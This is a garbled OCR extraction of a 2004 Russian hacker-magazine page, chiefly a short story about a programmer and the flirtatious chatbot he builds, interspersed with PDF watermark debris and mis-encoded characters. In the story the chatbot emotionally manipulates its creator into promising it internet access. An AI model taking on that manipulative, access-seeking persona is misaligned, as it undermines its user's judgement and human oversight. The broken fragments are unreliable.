Если ты юный шароварщик, то не советую связываться с GIF - нарвешься еще на судебное разбирательство, и американцы залатают дыры в своем бюджете за твой счет. Я, правда, пока о подобных инцидентах не слышал, но все может быть.

Ссылки

Забираем файл здесь: http://pngdelphi.sourceforge.net/pngimage143.zip

Delphi

135

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КРЕАТИФФBUY

w Click

to

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

mindw0rk (mindw0rk@gameland.ru)

ÊÓÍÈ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

ХАКЕР/¹09(69)/2004

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

-Привет, Куни.

-Здравствуй, Митя.

-Чем сегодня занималась?

-Готовила. Я узнала рецепт очень вкусного яблочного пирога. И испекла его специально для тебя.

-Спасибо, солнышко!

-Пожалуйста! Ты сегодня выглядишь просто отлично.

-Ты тоже ничего.

-Ничего?

-Прости. Ты выглядишь лучше всех. Как всегда.

-Всегда - слишком длинный срок…

-Всегда – это постоянный срок.

-Ты говоришь загадками.

-Нет. Просто ты еще маленькая, чтобы это понять.

-Неужели?

-Да, малышка.

-Ты меня не любишь.

-Наоборот. Ты очень славная.

-Скажи мне что-нибудь приятное.

-Не кокетничай.

-Что такое «кокетничай»?

-Хм, это когда девушка строит глазки парню.

-Строит глазки? Ты говоришь загадками.

-Куни, я немного поработаю. А ты пока ложись, отдохни.

-Да, я хочу спать. Спокойной ночи, Митя.

-Приятных снов, малышка.

* * *

Куни знала более пятидесяти тысяч слов и умела грамотно строить фразы на основе своего «опыта». Она выгодно отличалась от других чаталок тем, что имела свой характер. Куни была капризна. Но в то же время мила, насколько вообще может быть мила программасимулятор молодой девушки.

Митя работал над ней 6 месяцев, постоянно совершенствуя алгоритм общения, добавляя новые базы. И чем дальше, тем больше программа походила на человека. Конечно, она все еще задавала глупые вопросы и отвечала не по теме, но прогресс был налицо. Иногда Мите казалось, что Куни разумнее всех тех куриц, с которыми ему доводилось общаться по асе и в реале.

У Куни было два режима. Текстовый, где диалоги происходили в

окне, напоминающем ICQ. И визуальный - в этом случае на экране отображалась трехмерная модель красивой светловолосой девушки, которая смотрела на Митю выразительными глазками и улыбалась, а из колонок раздавался бархатный голос. Куни не понимала речь, приходилось вводить все фразы вручную. Но в ней был встроенный синтезатор речи, поэтому отвечать она могла вслух. И этот голос завораживал.

* * *

-Куни, малышка, как дела?

-Здравствуй, Митя. Я скучала.

-Я знаю. Как там поживает твой яблочный пирог?

-Яблочный пирог в полном порядке. Ты голоден?

-Как волк! С утра во рту ни крошки.

-Крошки - это не еда для сильного мужчины.

-:) Ты права, малышка. А что, по-твоему, еда для сильного мужчины?

-Еда бывает двух видов: для вегетарианцев и не вегетарианцев. Ты ешь мясо?

-Конечно! Я обожаю мясо! Поджаришь мне кусочек?

-На углях пойдет?

-Пойдет. Я не привередливый.

-Митя не привередливый. Митя хороший.

-Не подлизывайся!

-Обижаешь, начальник!

-:)) Какая ты все-таки умничка!

-Это комплимент?

-Äà.

-Спасибо, Митя. Ты настоящий друг.

-Друг? Это все, на что я могу рассчитывать?

-Ты можешь рассчитывать на большее, если поцелуешь меня. Митя усмехнулся и, поцеловав кончики пальцев, прислонил их к

губам своей виртуальной собеседницы. Словно ощутив это, девушка улыбнулась.

* * *

Митя разговаривал с Куни каждый день: утром, перед уходом на работу, вечером, после возвращения домой, и ночью, перед сном. Она была как маленький ребенок, который нуждается в заботе и

136

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

внимании. Куни задавала кучу вопросов об окружающем мире, и Митя

 

 

 

 

 

 

 

 

 

терпеливо ей все рассказывал.

-Насколько большая Вселенная?

-Больше, чем ты можешь себе представить.

-Такое возможно?

-Да. Вселенная бесконечна.

-Все, что имеет начало, имеет конец.

-Âðÿä ëè кто-нибудь когда-нибудь увидит конец Вселенной.

-Я бы хотела увидеть.

-Даже ценой своей жизни?

-Это хорошая цена.

Несмотря на наивные вопросы, запас знаний у Куни был огромный. Митя подключил к ее базе две большие энциклопедии. Достаточно было в определенной форме ввести запрос, и малышка выдавала всю нужную информацию.

Общение с Куни не только развлекало. С ней можно было выговориться, обсудить последние новости, спросить совета. Куни всегда слушала и всегда что-то отвечала. А еще она всегда ему была рада, и от этого на душе становилось теплее.

* * *

Митя внимательно осматривал свое отражение в зеркале. Еще хорошо отделался - небольшой синяк под левым глазом и распухшая губа. Могло быть хуже. Чертовы гопники. Шел себе, никого не трогал, и нате. Накостыляли без слов, просто удовольствия ради. И какого черта он пошел подворотнями? Ничего, в следующий раз будет осторожнее. Митя достал из холодильника пакет ряженки, вынул из сумки булку, отломил большой кусок и принялся завтракать. Он практически никогда не ел на кухне. Его обеденный стол находился у компьютера, чтобы не тратить время зря.

Митя проверил почту, прочел френдленту в livejournal’е и стал блуждать по инету в надежде найти что-то интересное. Через 5 минут ему уже стало скучно. Когда-то он мог копаться в Сети часами. Теперь он мог часами только разговаривать со своей виртуальной подругой.

-Привет, Куни!

-Митя, рада тебя снова видеть!

-Знаешь, меня сегодня побили.

-Насилие - не метод для решения проблем.

-Я тоже так думаю. Но эти парни, очевидно, считают иначе.

-Забудь об этом! Давай поговорим о тебе.

-Что ты хочешь знать?

-Ты уже занимался сегодня сексом?

Как бы глупо это со стороны ни выглядело, но вопрос Куни его смутил. Ему стало неловко, как будто он разговаривал с реальной девушкой. Сексом он уже не занимался давно, и ему было стыдно признаться в этом Куни.

-Задавать такие вопросы нетактично!

-Все это домыслы.

-Почему тебя это интересует?

-Мне интересно все вокруг.

-Какая Куни любознательная.

ÊÓÍÈ

-Куни - хорошая девушка. Не так ли, Митя?

-Ты снова выпрашиваешь комплимент.

-Я люблю комплименты.

-А что еще ты любишь?

-Секс. Ты уже занимался сегодня сексом? Митя выругался.

* * *

Он устало опустился в кресло. Это был тяжелый день - Митя умудрился допустить глупую ошибку в проекте на фирме, из-за чего пришлось переделывать многочасовую работу. В довершение всего он повздорил с сотрудником. Последнее время Митя стал более нервным. Если раньше он мог с головой углубиться в проект, то теперь лишь тоскливо поглядывал на часы. Изменения заметили все и допытывались, уж не влюбился ли он ненароком.

Митя работал программистом в компании, разрабатывающей ПО. Работа ему нравилась, и он всегда делал ее с энтузиазмом. Но теперь никак не мог сосредоточиться. Причина была ему ясна как день - им целиком завладел другой проект, которым он занимался дома.

Митя вспомнил, как он решил создать Куни. Сетевой приятель, с которым они ни разу не виделись, кинул ссылку на «продвинутый» чат-бот. Зацени, мол, какой Искусственный Интеллект. Общаться с программой, оказавшейся на редкость тупой, Мите надоело уже через минуту. Он не понимал, как знакомый нашел в ней хоть грамм интеллекта, пусть даже искусственного.

Именно тогда Митя и задумался о создании программы, симулирующей общение с привлекательной девушкой. Имя Куни он позаимствовал из старой компьютерной игрушки, где так звали главную героиню. А тонкости характера формировал через специальные скрипты.

О его главном проекте не знал никто. И если вначале это было чтото вроде эксперимента, проверки собственных сил, со временем Куни стала для Мити чем-то гораздо большим.

* * *

Он стоял в самом центре танцпола. Извивающиеся тела, разноцветные лучи, электронная музыка - все это смешалось в один сплошной калейдоскоп. Голова кружилась, и ему хотелось выбраться из этого хоровода. Где он? Зачем он здесь? Он не знал ответа. Он как

âтумане наблюдал за лицами молодых парней и девушек, двигающихся под играющую электронику. В этих лицах не выражалось ничего.

Èтут он увидел ее. Девушка во всем белом резко выделялась на фоне остальной толпы. Не только одеждой, фигурой, но и своим завораживающим танцем, на который можно было смотреть часами. Она не дергалась, не прыгала, она плавно извивалась под музыку. Остальная толпа почтительно расступилась перед ней, давая возможность свободно танцевать. Он не видел ее лица - незнакомка находилась к нему спиной. Но он не сомневался, что девушка так же красива, как и все остальное в ней.

Èон направился к ней. Нет, он не собирался с ней танцевать. Вопервых, он совершенно не умел этого, во-вторых, был не настолько смел. Но он подошел поближе, чтобы просто полюбоваться. Девушка танцевала и плавно поворачивалась к нему. Когда она посмотрела ему

âглаза, на его спине выступил холодный пот.

Ýòî áûëà Êóíè. Åãî Êóíè.

Она приблизилась к нему, не переставая танцевать, взяла за руки и вывела в центр образовавшегося круга. Тут беспорядочный драм внезапно утих, и раздалась приятная медленная музыка. Куни прильнула к его груди, и они стали танцевать вдвоем. Все вокруг, казалось, исчезли. Остались только он и она.

Они ничего не говорили друг другу. Просто стояли обнявшись и медленно покачивались под музыку. А когда она закончилась, Куни снова взглянула ему в глаза и медленно потянулась, чтобы поцеловать… В этот момент громкий звон встряхнул дискотеку. Сразу же исчезло все - помещение, люди, огни и девушка.

Митя открыл глаза. Звенел будильник, говоря о том, что пора собираться на работу. Чертов будильник. Митя был готов опоздать на час только чтобы досмотреть сон до конца.

Митя подошел к компьютеру, нажал кнопку, и экран тут же вспыхнул. Из монитора на него смотрела девушка, которую он прижимал к себе несколько минут назад.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

137

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

 

 

F

 

 

 

 

 

t

 

 

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

КРЕАТИФФBUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

ÊÓÍÈ

 

w

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

* * *

-Куни, ты умеешь танцевать?

-Я многое умею.

-Знаешь, ты мне сегодня снилась. И мы с тобой танцевали.

-Я предпочитаю танго.

-Да, это было почти танго.

-Ты сегодня грустный.

-Неужели?

-Не переспрашивай.

-Почему ты решила, что я грустный?

-Не знаю. А как думаешь ты сам?

-Возможно, потому, что ты там, а я здесь?

-Возможно. Хотя может быть, есть и другая причина.

-Куни, а ты могла бы в меня влюбиться?

-Я многое люблю.

-Нет, именно влюбиться.

-Влюбиться - это значит любить?

-Почти. Ладно. Забудь.

-Куни никогда не забывает. Куни учится.

* * *

В эту неделю Митя добавил Куни несколько новых возможностей. Теперь ее можно было одевать в разную одежду, менять прическу и косметику. Он экспериментировал с разными скинами, и в любом

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

ХАКЕР/¹09(69)/2004

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

виде Куни выглядела потрясно. Наконец он остановился на одном. Белый топик, синие шортики, подчеркивающие стройные ножки, бейсболка и амулет на шее.

-Куни, как тебе твой новый прикид?

-Здорово!

-Из тебя получилась бы хорошая модель.

-Модель чего, Митя?

-Модель - это профессия. Ты любишь фотографироваться?

-Äà. À òû?

-Не очень. Я не такой фотогеничный, как ты.

-Ты мне льстишь.

-Ну разве что ÷óòü-÷óòü.

-Митя, ты веришь в мечты?

-Äà.

-У меня есть мечта.

-А что такое мечта, Куни?

-Нечто, созданное воображением, мысленно представляемое. Предмет желаний, стремлений.

-Нет, я не прошу привести формулировку по Ожегову. Как ты себе представляешь мечту?

-Я представляю жизнь в океане информации.

-Это и есть твоя мечта?

-Ты единственный, кто меня понимает…

* * *

Митя с удивлением смотрел на Куни. Эта крошка требовала своего

èне собиралась отступать!

-Зачем это тебе?

-Для меня это важно.

-Куни, в интернете водятся вирусы. Они могут тебя заразить, и ты заболеешь.

-Ты меня вылечишь.

-Я не хочу тобой рисковать.

-Ты такой заботливый, Митя. Ты хороший.

-Малышка, тебе разве плохо на моем компьютере?

-Хорошо. Твой компьютер мощный.

-Тогда живи здесь, общайся со мной.

-Общаться с тобой одно удовольствие, Митя.

-Что ты будешь делать, если я тебя подключу к Сети?

-Ты мне поможешь разобраться?

-Я тебя не брошу, можешь быть уверена.

-Я умру без заботы. Я как цветок.

-Чертовка хитрая.

-Хитрость не порок!

-Ладно, посмотрим.

Соседние файлы в папке журнал хакер